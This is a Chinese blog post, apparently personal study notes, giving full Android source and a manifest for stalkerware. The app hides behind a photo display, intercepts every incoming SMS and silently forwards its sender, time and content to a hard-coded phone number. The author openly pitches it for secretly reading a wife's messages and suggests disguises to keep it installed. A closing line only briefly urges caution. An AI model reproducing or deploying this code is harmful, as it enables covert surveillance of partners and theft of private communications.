个人学习笔记之:android短信接受器

android短信监听

短信窃听顾名思义就是偷偷看人家的手机短信,当然人家要装上你的App就行了,如果你发现你老婆最近鬼鬼祟祟的,你就给她装一个这个,保证她收到的短信你都能看到,哈哈,废话不多说了,直接上代码

 

首先我们要上一个图片伪装下,你可以多放几张你老婆的漂亮照片,不然哪天就把程序卸载了,那就悲剧了,嘎嘎,我这里简单起见拿来了一张美女的照片,我本身比较喜欢美女,哈哈

package com.example.smslistener;

 

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.List;

 

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

import android.telephony.SmsManager;

import android.telephony.SmsMessage;

 

public class SMSListenerBroadcastReceive extends BroadcastReceiver {

 

        @Override

        public void onReceive(Context context, Intent intent) {

               Object[] pdus = (Object[]) intent.getExtras().get("pdus");

               SmsMessage [] messages = new SmsMessage[pdus.length];

               for(int i=0; i<pdus.length; i++){

                       byte[]pdu = (byte[]) pdus[i];

                      

                       //从pud中创建一个消息

                       messages[i] = SmsMessage.createFromPdu(pdu);

               }

              

              

               for(SmsMessage msg: messages){

                       //获取短信的内容

                       String content = msg.getMessageBody();

                       //获取发送的人

                       String sender = msg.getOriginatingAddress();

                       //获取短信的时间

                       long timer = msg.getTimestampMillis();

                      

                       //将毫秒数字转换成日期格式

                       Date date = new Date(timer);

                       SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-DD HH-MM-SS");

                       String time = sdf.format(date);

                      

                       String smsContent = time + ": " + sender + ": " + content;

                      

                      

                       //调用发送短信的方法

                       sendSmsMessage("5556", smsContent);

               }

 

        }

       

        /**

         * 发送短信的方法

         * @param phoneNumber

         * @param content

         */

        public void sendSmsMessage(String phoneNumber, String content){

               SmsManager smsManager = SmsManager.getDefault();

              

               //判断短信内容的长度,如果长度大于70就会出错,所以这步很重要

               if(content.length() >= 70){

                       List<String> list = smsManager.divideMessage(content);

                       for(String mMsg: list){

                               smsManager.sendTextMessage(phoneNumber, null, mMsg, null, null);

                       }

               }else{

                       smsManager.sendTextMessage(phoneNumber, null, content, null, null);

               }

        }

 

}

上面的代码很简单,手机收到短信之后,android系统会发送一个短消息广播,他的action是android.provider.Telephony.SMS_RECEIVED,我们的广播接收器过滤这个action就行了,那样子我们就可以获取短信的内容,短信的发送者,短信的发送时间等等,然后在调用android的发送短信就搞定了,发送短信有一个权限<uses-permission android:name="android.permission.SEND_SMS"/>

 

AndroidMainfest.xml

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.smslistener"

    android:versionCode="1"

    android:versionName="1.0" >

 

    <uses-sdk

        android:minSdkVersion="8"

        android:targetSdkVersion="16" />

 

    <application

        android:icon="@drawable/xiaohua"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name="com.example.smslistener.MainActivity"

            android:theme="@style/ActivityTheme" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

 

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

       

        <receiver android:name=".SMSListenerBroadcastReceive">

            <intent-filter >

                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

            </intent-filter>

        </receiver>

    </application>

   

     <uses-permission android:name="android.permission.RECEIVE_SMS"/>

     <uses-permission android:name="android.permission.SEND_SMS"/>

 

</manifest>

只要你媳妇装上了这个app,在他不把你的程序卸载你就能监听她的短信内容,哈哈!

注意,情侣,夫妻之间相处最关键的就是信任,监听有风险,偷看需谨慎,请三思

原文地址:https://www.cnblogs.com/liujicai/p/3291013.html